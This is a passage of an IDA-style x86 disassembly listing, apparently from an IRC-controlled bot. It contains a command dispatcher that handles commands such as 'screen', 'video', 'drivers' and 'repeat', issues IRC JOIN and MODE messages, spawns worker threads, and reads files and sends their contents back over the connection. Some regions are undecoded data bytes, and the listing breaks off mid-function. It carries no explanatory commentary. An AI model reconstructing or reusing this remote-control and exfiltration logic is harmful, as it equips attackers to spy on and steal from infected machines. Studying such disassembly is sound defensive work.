		mov	[ebp-3CF4h], eax
		lea	eax, [ebp-3E00h]
		push	eax
		lea	eax, [ebp-3F04h]
		push	eax
		push	offset unk_430EA8
		lea	eax, [ebp-2C0h]
		push	200h
		push	eax
		call	sub_41C030
		push	ebx
		lea	eax, [ebp-2C0h]
		push	24h
		push	eax
		call	sub_40B00E
		add	esp, 2Ch
		mov	[ebp-3CFCh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-3F88h]
		push	ebx
		push	eax
		push	offset byte_4172AD
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-3CFCh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_408321


loc_40830F:				; CODE XREF: .nsp0:0040831Fj
		cmp	[ebp-3CF0h], ebx
		jnz	short loc_40833C
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_40830F
; ---------------------------------------------------------------------------


loc_408321:				; CODE XREF: .nsp0:0040830Dj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_430E6C


loc_40832D:				; CODE XREF: .nsp0:00402551j
					; .nsp0:00402562j ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		add	esp, 0Ch


loc_40833C:				; CODE XREF: .nsp0:004022E3j
					; .nsp0:0040243Dj ...
		push	1
		pop	esi
		jmp	loc_406C89
; ---------------------------------------------------------------------------


loc_408344:				; CODE XREF: .nsp0:0040654Dj
					; .nsp0:00406564j
		push	44h
		lea	eax, [ebp-668h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BC40
		push	1
		mov	[ebp-668h], esi
		pop	esi
		mov	[ebp-638h], bx
		push	dword ptr [ebp+18h]
		mov	[ebp-63Ch], esi
		call	sub_41BE29
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408383
		mov	word ptr [ebp-638h], 5


loc_408383:				; CODE XREF: .nsp0:00408378j
		cmp	[ebp-0Ch], ebx
		jz	loc_406C65
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406C65
		lea	eax, [ebp-0E10h]
		push	eax
		lea	eax, [ebp-668h]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	near ptr 0B40000h
		inc	eax
		test	eax, eax
		jnz	short loc_4083CC
		push	offset unk_430E48
		jmp	loc_40854F
; ---------------------------------------------------------------------------


loc_4083CC:				; CODE XREF: .nsp0:004083C0j
		push	edi
		push	offset dword_430E2C
		jmp	loc_406C56
; ---------------------------------------------------------------------------


loc_4083D7:				; CODE XREF: .nsp0:0040651Fj
					; .nsp0:00406536j
		push	edi
		push	offset aXxerooxx ; "XxerooxX"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40854A
		lea	eax, [ebp-48F0h]
		push	eax
		push	104h
		call	near ptr 0B40000h
		punpckhbw mm7, mm7
; ---------------------------------------------------------------------------
		dd 8D000000h, 0FFDA3085h, 1875FFFFh, 388EE850h,	858D0001h
		dd 0FFFFE830h, 28BCE850h, 8D500000h, 0FFB71085h, 858D50FFh
		dd 0FFFFDB30h, 430E2068h, 0FFE85000h, 8B00013Ah, 0FF7C3584h
		dd 0C483FFFFh, 0C7C33B20h, 0FFDC3485h, 1FFh, 389D8900h
		dd 74FFFFDCh, 53106A14h, 4000E850h, 0C4830001h,	4085890Ch
		dd 0EBFFFFDCh, 409D8906h, 8BFFFFDCh, 3B803574h,	560F74F3h
		dd 139ACE8h, 85895900h,	0FFFFDC3Ch, 9D8906EBh, 0FFFFDC3Ch
		dd 585B60Fh, 8BFFFFF7h,	7F6A0C75h, 0FF78B5FFh, 8589FFFFh
		dd 0FFFFDC44h, 0D9B0858Dh, 0B589FFFFh, 0FFFFD9ACh, 37EAE850h
		dd 458B0001h, 1875FFFCh, 0DC4C8589h, 458BFFFFh,	488589F8h
		dd 8DFFFFDCh, 0FFFD4085h, 0DF468FFh, 0E8500043h, 13A5Ah
		dd 40858D56h, 6AFFFFFDh, 23E8501Eh, 8300002Bh, 858924C4h
		dd 0FFFFDC30h, 50F0458Dh, 0D9AC858Dh, 5053FFFFh, 416A0268h
		dd 0FF535300h, 42707C15h, 308D8B00h, 69FFFFDCh,	234C9h
		dd 89C33B00h, 44413481h, 39167400h, 0FFDC509Dh,	36850FFFh
		dd 6AFFFFE7h, 6415FF32h, 0EB004270h, 8C15FFEAh,	50004270h
		dd 430DB868h, 0E70CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_40854A:				; CODE XREF: .nsp0:004083E6j
		push	offset dword_430D70


loc_40854F:				; CODE XREF: .nsp0:0040496Aj
					; .nsp0:00405F83j ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx
		jmp	loc_406C65
; ---------------------------------------------------------------------------


loc_408562:				; CODE XREF: .nsp0:004064F1j
					; .nsp0:00406508j
		push	dword ptr [ebp-8Ch]
		push	offset dword_4335A0
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401D6C
		cmp	[ebp-0Ch], ebx
		jz	loc_401D6C
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp-90h]
		push	offset dword_430D60
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41BCA0
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		add	esp, 30h
		test	eax, eax
		jle	short loc_4085EB
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	dword_427064	; Sleep


loc_4085EB:				; CODE XREF: .nsp0:004085D3j
		push	offset dword_430D4C
		call	sub_4157A6
		mov	eax, [ebp+2Ch]
		pop	ecx
		inc	eax
		jmp	loc_401D6F
; ---------------------------------------------------------------------------


loc_4085FF:				; CODE XREF: .nsp0:004064C3j
					; .nsp0:004064DAj
		push	dword ptr [ebp-8Ch]
		push	offset dword_4335A0
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401D6C
		cmp	[ebp-0Ch], ebx
		jz	loc_4097B8
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_41C710
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_4086BA
		push	dword ptr [ebp-88h]
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp-90h]
		push	offset dword_430D60
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-2C0h]
		push	offset dword_430D34
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_4157A6
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		add	esp, 38h
		test	eax, eax
		jle	loc_4097B8
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		add	eax, [ebp+2Ch]
		pop	ecx
		jmp	loc_401D6F
; ---------------------------------------------------------------------------


loc_4086BA:				; CODE XREF: .nsp0:0040863Fj
		push	offset unk_430D00


loc_4086BF:				; CODE XREF: .nsp0:00408F4Cj
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		jmp	loc_409089
; ---------------------------------------------------------------------------


loc_4086D3:				; CODE XREF: .nsp0:00406495j
					; .nsp0:004064ACj
		push	7Fh
		lea	eax, [ebp-2214h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41BCA0
		push	7Fh
		lea	eax, [ebp-2194h]
		push	edi
		push	eax
		call	sub_41BCA0
		push	7Fh
		lea	eax, [ebp-2114h]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_41BCA0
		mov	eax, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	[ebp-2090h], eax
		mov	eax, [ebp-8]
		push	edi
		mov	[ebp-208Ch], eax
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2C0h]
		mov	[ebp-2218h], esi
		push	offset unk_430CCC
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	0Fh
		push	eax
		call	sub_40B00E
		add	esp, 40h
		mov	[ebp-2094h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-2218h]
		push	ebx
		push	eax
		push	offset word_4149C2
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-2094h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_408790


loc_40877E:				; CODE XREF: .nsp0:0040878Ej
		cmp	[ebp-2088h], ebx
		jnz	short loc_4087AB
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_40877E
; ---------------------------------------------------------------------------


loc_408790:				; CODE XREF: .nsp0:0040877Cj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_430C90


loc_40879C:				; CODE XREF: .nsp0:00408898j
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		add	esp, 0Ch


loc_4087AB:				; CODE XREF: .nsp0:00408784j
					; .nsp0:0040887Cj
		cmp	[ebp-8], ebx
		jnz	loc_4095A9
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	esi
		jmp	loc_4095A1
; ---------------------------------------------------------------------------


loc_4087CB:				; CODE XREF: .nsp0:00406467j
					; .nsp0:0040647Ej
		push	7Fh
		lea	eax, [ebp-23A8h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_41BCA0
		push	7Fh
		lea	eax, [ebp-2328h]
		push	edi
		push	eax
		call	sub_41BCA0
		push	7Fh
		lea	eax, [ebp-22A8h]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_41BCA0
		mov	eax, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	[ebp-2224h], eax
		mov	eax, [ebp-8]
		push	edi
		mov	[ebp-2220h], eax
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2C0h]
		mov	[ebp-23ACh], esi
		push	offset dword_430C64
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	11h
		push	eax
		call	sub_40B00E
		add	esp, 40h
		mov	[ebp-2228h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-23ACh]
		push	ebx
		push	eax
		push	offset dword_414170
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-2228h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_40888C


loc_408876:				; CODE XREF: .nsp0:0040888Aj
		cmp	[ebp-221Ch], ebx
		jnz	loc_4087AB
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_408876
; ---------------------------------------------------------------------------


loc_40888C:				; CODE XREF: .nsp0:00408874j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_430C28
		jmp	loc_40879C
; ---------------------------------------------------------------------------


loc_40889D:				; CODE XREF: .nsp0:00406439j
					; .nsp0:00406450j
		push	edi
		lea	eax, [ebp-2C0h]
		push	offset dword_430C20
		push	eax
		call	sub_41BF36
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		add	esp, 10h


loc_4088BA:				; CODE XREF: .nsp0:00408925j
		test	eax, eax
		jle	loc_4097B8
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		cmp	eax, 400h
		pop	ecx
		jge	loc_4097B8


loc_4088D6:				; CODE XREF: .nsp0:0040949Bj
		lea	eax, [ebp-2C0h]
		push	eax
		push	offset dword_430C18
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		imul	eax, 234h
		pop	ecx
		push	dword_44412C[eax]
		call	sub_40998C
		jmp	loc_40495D
; ---------------------------------------------------------------------------


loc_408901:				; CODE XREF: .nsp0:0040640Bj
					; .nsp0:00406422j
		push	dword ptr [ebp+esi-84h]
		lea	eax, [ebp-2C0h]
		push	edi
		push	offset dword_430C0C
		push	eax
		call	sub_41BF36
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		add	esp, 14h
		jmp	short loc_4088BA
; ---------------------------------------------------------------------------


loc_408927:				; CODE XREF: .nsp0:004063DDj
					; .nsp0:004063F4j
		push	edi
		lea	eax, [ebp-2C0h]
		push	offset dword_432138
		push	eax
		call	sub_41BF36
		mov	esi, [ebp+18h]
		push	esi
		call	sub_41BE29
		add	esp, 10h
		test	eax, eax
		jle	loc_4097B8
		push	esi
		call	sub_41BE29
		cmp	eax, 400h
		pop	ecx
		jge	loc_4097B8
		lea	eax, [ebp-2C0h]
		push	eax
		push	offset dword_430C18
		push	esi
		call	sub_41BE29
		imul	eax, 234h
		pop	ecx
		push	dword_44412C[eax]
		call	sub_40998C
		push	edi
		push	esi
		push	offset dword_430BF0


loc_40898A:				; CODE XREF: .nsp0:00408A12j
					; .nsp0:00408A7Ej ...
		call	sub_41581A
		jmp	loc_40428D
; ---------------------------------------------------------------------------


loc_408994:				; CODE XREF: .nsp0:004063AFj
					; .nsp0:004063C6j
		cmp	[ebp-0Ch], ebx
		jz	loc_4097B8
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4089C3
		push	esi
		lea	eax, [ebp-2C0h]
		push	offset dword_430BE8
		push	eax
		call	sub_41BF36
		add	esp, 0Ch


loc_4089C3:				; CODE XREF: .nsp0:004089ACj
		mov	edi, [ebp+18h]
		push	edi
		call	sub_41BE29
		test	eax, eax
		pop	ecx
		jle	loc_4097B8
		push	edi
		call	sub_41BE29
		cmp	eax, 400h
		pop	ecx
		jge	loc_4097B8
		lea	eax, [ebp-2C0h]
		push	eax
		push	offset dword_430C18
		push	edi
		call	sub_41BE29
		imul	eax, 234h
		pop	ecx
		push	dword_44412C[eax]
		call	sub_40998C
		push	esi
		push	edi
		push	offset dword_430BCC
		jmp	loc_40898A
; ---------------------------------------------------------------------------


loc_408A17:				; CODE XREF: .nsp0:00406381j
					; .nsp0:00406398j
		cmp	[ebp-0Ch], ebx
		jz	loc_4097B8
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_4097B8
		mov	edi, [ebp+18h]
		push	edi
		call	sub_41BE29
		test	eax, eax
		pop	ecx
		jle	loc_4097B8
		push	edi
		call	sub_41BE29
		cmp	eax, 400h
		pop	ecx
		jge	loc_4097B8
		push	esi
		push	offset dword_430C18
		push	edi
		call	sub_41BE29
		imul	eax, 234h
		pop	ecx
		push	dword_44412C[eax]
		call	sub_40998C
		push	esi
		push	edi
		push	offset dword_430BB0
		jmp	loc_40898A
; ---------------------------------------------------------------------------


loc_408A83:				; CODE XREF: .nsp0:00406353j
					; .nsp0:0040636Aj
		cmp	[ebp-0Ch], ebx
		jz	loc_4097B8
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_4097B8
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	esi
		push	offset unk_430B88


loc_408AB7:				; CODE XREF: .nsp0:00409682j
					; .nsp0:0040969Fj ...
		call	sub_41581A
		jmp	loc_403523
; ---------------------------------------------------------------------------


loc_408AC1:				; CODE XREF: .nsp0:00406325j
					; .nsp0:0040633Cj
		push	dword ptr [ebp-8Ch]
		push	offset dword_4335A0
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401D6C
		push	edi
		push	offset dword_430B7C
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	dword ptr [ebp+18h]
		call	sub_41BE29
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	dword_427064	; Sleep
		push	dword ptr [ebp+esi-84h]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_40998C
		push	offset dword_430B68
		call	sub_4157A6
		jmp	loc_403523
; ---------------------------------------------------------------------------


loc_408B25:				; CODE XREF: .nsp0:004062F7j
					; .nsp0:0040630Ej
		cmp	[ebp-0Ch], ebx
		jz	loc_4097B8
		push	dword ptr [ebp+18h]
		call	sub_41B890
		push	dword ptr [ebp+10h]
		mov	esi, eax
		call	sub_41B890
		add	eax, [ebp-0Ch]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41BFB0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_4097B8
		push	esi
		lea	eax, [ebp-2C0h]
		push	offset dword_43129C
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	ebx
		push	eax
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		push	esi
		push	dword ptr [ebp+18h]
		push	offset unk_430B4C
		call	sub_41581A
		add	esp, 2Ch
		jmp	loc_4097B8
; ---------------------------------------------------------------------------


loc_408B97:				; CODE XREF: .nsp0:004062C9j
					; .nsp0:004062E0j
		cmp	[ebp-0Ch], ebx
		jz	loc_4097B8
		push	dword ptr [ebp+18h]
		call	sub_41B890
		push	dword ptr [ebp+10h]
		mov	esi, eax
		call	sub_41B890
		add	eax, [ebp-0Ch]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41BFB0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_4097B8
		push	ebx
		push	ebx
		push	esi
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		push	esi
		push	dword ptr [ebp+18h]
		push	offset unk_430B2C
		call	sub_41581A
		add	esp, 20h
		jmp	loc_4097B8
; ---------------------------------------------------------------------------


loc_408BF1:				; CODE XREF: .nsp0:0040629Bj
					; .nsp0:004062B2j
		cmp	[ebp-0Ch], ebx
		jz	loc_401D6C
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401D6C
		push	eax
		push	dword ptr [ebp+18h]
		call	sub_4156AE
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2C0h]
		push	offset unk_430B0C
		push	eax
		call	sub_41BF36
		add	esp, 14h
		jmp	loc_409588
; ---------------------------------------------------------------------------


loc_408C32:				; CODE XREF: .nsp0:0040626Dj
					; .nsp0:00406284j
		push	edi
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_418C8D
		jmp	loc_4040FF
; ---------------------------------------------------------------------------


loc_408C4C:				; CODE XREF: .nsp0:0040622Fj
					; .nsp0:00406244j
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+24h]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4097B8
		mov	esi, [ebp+esi-88h]
		cmp	esi, ebx
		jz	loc_408CF1
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408CD9
		push	esi
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp-90h]
		push	offset dword_430D60
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41BCA0
		push	esi
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+18h]
		push	offset unk_430AE4
		push	eax
		call	sub_41BF36
		add	esp, 34h
		inc	dword ptr [ebp+2Ch]
		jmp	loc_4090AA
; ---------------------------------------------------------------------------


loc_408CD9:				; CODE XREF: .nsp0:00408C7Fj
		lea	eax, [ebp-2C0h]
		push	offset unk_430AB4
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx
		jmp	loc_4090AA
; ---------------------------------------------------------------------------


loc_408CF1:				; CODE XREF: .nsp0:00408C6Aj
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+24h]
		push	eax
		call	sub_41B598
		add	esp, 0Ch
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2C0h]
		push	offset dword_430A98
		push	200h
		push	eax
		call	sub_41C030
		add	esp, 24h
		jmp	loc_4090AA
; ---------------------------------------------------------------------------


loc_408D3A:				; CODE XREF: .nsp0:00406205j
					; .nsp0:0040621Aj
		push	offset aScreen	; "screen"
		push	dword ptr [ebp+18h]
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408D95
		mov	edi, [ebp+esi-88h]
		cmp	edi, ebx
		jz	short loc_408D82
		push	edi
		call	loc_4159B6
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408D7B
		push	edi
		lea	eax, [ebp-2C0h]
		push	offset unk_430A64
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		jmp	short loc_408D95
; ---------------------------------------------------------------------------


loc_408D7B:				; CODE XREF: .nsp0:00408D62j
		push	offset unk_430A34
		jmp	short loc_408D87
; ---------------------------------------------------------------------------


loc_408D82:				; CODE XREF: .nsp0:00408D56j
		push	offset unk_4309F8


loc_408D87:				; CODE XREF: .nsp0:00408D80j
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_408D95:				; CODE XREF: .nsp0:00408D4Bj
					; .nsp0:00408D79j
		push	offset aDrivers	; "drivers"
		push	dword ptr [ebp+18h]
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E22
		xor	edi, edi


loc_408DAA:				; CODE XREF: .nsp0:00408E0Dj
		lea	eax, [ebp-53F8h]
		push	1FFh
		push	eax
		lea	eax, [ebp-4EF0h]
		push	0FFh
		push	eax
		push	edi
		call	dword_4D1220
		test	eax, eax
		jz	short loc_408E09
		lea	eax, [ebp-53F8h]
		push	eax
		lea	eax, [ebp-4EF0h]
		push	eax
		push	edi
		lea	eax, [ebp-5D88h]
		push	offset unk_4309C8
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-5D88h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 28h


loc_408E09:				; CODE XREF: .nsp0:00408DCBj
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408DAA
		lea	eax, [ebp-2C0h]
		push	offset unk_4309A0
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_408E22:				; CODE XREF: .nsp0:00408DA6j
		push	offset aFrame	; "frame"
		push	dword ptr [ebp+18h]
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408EC3
		cmp	[ebp+esi-88h], ebx
		jz	short loc_408EB0
		cmp	[ebp+esi-84h], ebx
		jz	short loc_408EB0
		mov	edi, [ebp+esi-80h]
		cmp	edi, ebx
		jz	short loc_408EB0
		mov	eax, [ebp+esi-7Ch]
		cmp	eax, ebx
		jz	short loc_408EB0
		push	eax
		call	sub_41BE29
		pop	ecx
		push	eax
		push	edi
		call	sub_41BE29
		pop	ecx
		push	eax
		push	dword ptr [ebp+esi-84h]
		call	sub_41BE29
		pop	ecx
		push	eax
		push	dword ptr [ebp+esi-88h]
		call	sub_415BF1
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408EA9
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-2C0h]
		push	offset unk_43096C
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		jmp	short loc_408EC3
; ---------------------------------------------------------------------------


loc_408EA9:				; CODE XREF: .nsp0:00408E8Aj
		push	offset unk_430938
		jmp	short loc_408EB5
; ---------------------------------------------------------------------------


loc_408EB0:				; CODE XREF: .nsp0:00408E40j
					; .nsp0:00408E49j ...
		push	offset unk_430900


loc_408EB5:				; CODE XREF: .nsp0:00408EAEj
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_408EC3:				; CODE XREF: .nsp0:00408E33j
					; .nsp0:00408EA7j
		push	offset aVideo	; "video"
		push	dword ptr [ebp+18h]
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409089
		mov	eax, [ebp+esi-88h]
		cmp	eax, ebx
		mov	[ebp+28h], eax
		jz	short loc_408F5B
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		mov	[ebp+8], eax
		jz	short loc_408F5B
		mov	eax, [ebp+esi-80h]
		cmp	eax, ebx
		mov	[ebp+20h], eax
		jz	short loc_408F5B
		mov	edi, [ebp+esi-7Ch]
		cmp	edi, ebx
		jz	short loc_408F5B
		mov	esi, [ebp+esi-78h]
		cmp	esi, ebx
		jz	short loc_408F5B
		push	esi
		call	sub_41BE29
		pop	ecx
		push	eax
		push	edi
		call	sub_41BE29
		pop	ecx
		push	eax
		push	dword ptr [ebp+20h]
		call	sub_41BE29
		pop	ecx
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41BE29
		pop	ecx
		push	eax
		push	dword ptr [ebp+28h]
		call	sub_415DEA
		add	esp, 14h
		test	eax, eax
		jnz	short loc_408F51
		push	dword ptr [ebp+28h]
		push	offset unk_4308D4
		jmp	loc_4086BF
; ---------------------------------------------------------------------------


loc_408F51:				; CODE XREF: .nsp0:00408F42j
		push	offset unk_430894
		jmp	loc_40907B
; ---------------------------------------------------------------------------


loc_408F5B:				; CODE XREF: .nsp0:00408EE6j
					; .nsp0:00408EF4j ...
		push	offset unk_430854
		jmp	loc_40907B
; ---------------------------------------------------------------------------


loc_408F65:				; CODE XREF: .nsp0:00405B26j
					; .nsp0:00405B3Bj
		push	offset aR	; "r"
		push	dword ptr [ebp+18h]
		call	sub_41BBB8
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_408FE3
		mov	esi, 200h
		push	edi
		lea	eax, [ebp-2C0h]
		push	esi
		push	eax
		call	sub_41C1FF
		add	esp, 0Ch


loc_408F90:				; CODE XREF: .nsp0:00408FBFj
		test	eax, eax
		jz	short loc_408FC1
		push	1
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		push	edi
		lea	eax, [ebp-2C0h]
		push	esi
		push	eax
		call	sub_41C1FF
		add	esp, 20h
		jmp	short loc_408F90
; ---------------------------------------------------------------------------


loc_408FC1:				; CODE XREF: .nsp0:00408F92j
		push	edi
		call	sub_41B90B
		push	dword ptr [ebp+18h]
		lea	eax, [ebp-2C0h]
		push	offset unk_430830
		push	eax
		call	sub_41BF36
		add	esp, 10h
		jmp	loc_406C86
; ---------------------------------------------------------------------------


loc_408FE3:				; CODE XREF: .nsp0:00408F78j
		push	dword ptr [ebp+18h]
		push	offset unk_43080C
		jmp	loc_406C56
; ---------------------------------------------------------------------------


loc_408FF0:				; CODE XREF: .nsp0:00405AFCj
					; .nsp0:00405B11j
		cmp	[ebp-0Ch], ebx
		jz	loc_4097B8
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_4097B8
		push	offset asc_430808 ; "\n"
		push	esi
		call	sub_41C560
		push	esi
		call	sub_41A2D9
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40902F
		push	offset unk_4307DC
		jmp	short loc_40907B
; ---------------------------------------------------------------------------


loc_40902F:				; CODE XREF: .nsp0:00409026j
		push	esi
		lea	eax, [ebp-2C0h]
		push	offset dword_4307C4
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		jmp	short loc_4090AA
; ---------------------------------------------------------------------------


loc_409046:				; CODE XREF: .nsp0:00405AD2j
					; .nsp0:00405AE7j
		cmp	[ebp-0Ch], ebx
		jz	loc_4097B8
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_4097B8
		push	eax
		call	sub_4189BD
		test	eax, eax
		pop	ecx
		jnz	short loc_409076
		push	offset unk_4307A4
		jmp	short loc_40907B
; ---------------------------------------------------------------------------


loc_409076:				; CODE XREF: .nsp0:0040906Dj
		push	offset dword_430788


loc_40907B:				; CODE XREF: .nsp0:00408F56j
					; .nsp0:00408F60j ...
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_41BF36
		pop	ecx
		pop	ecx


loc_409089:				; CODE XREF: .nsp0:004086CEj
					; .nsp0:00408ED4j
		cmp	[ebp-8], ebx
		jnz	short loc_4090AA
		push	ebx
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-88h]
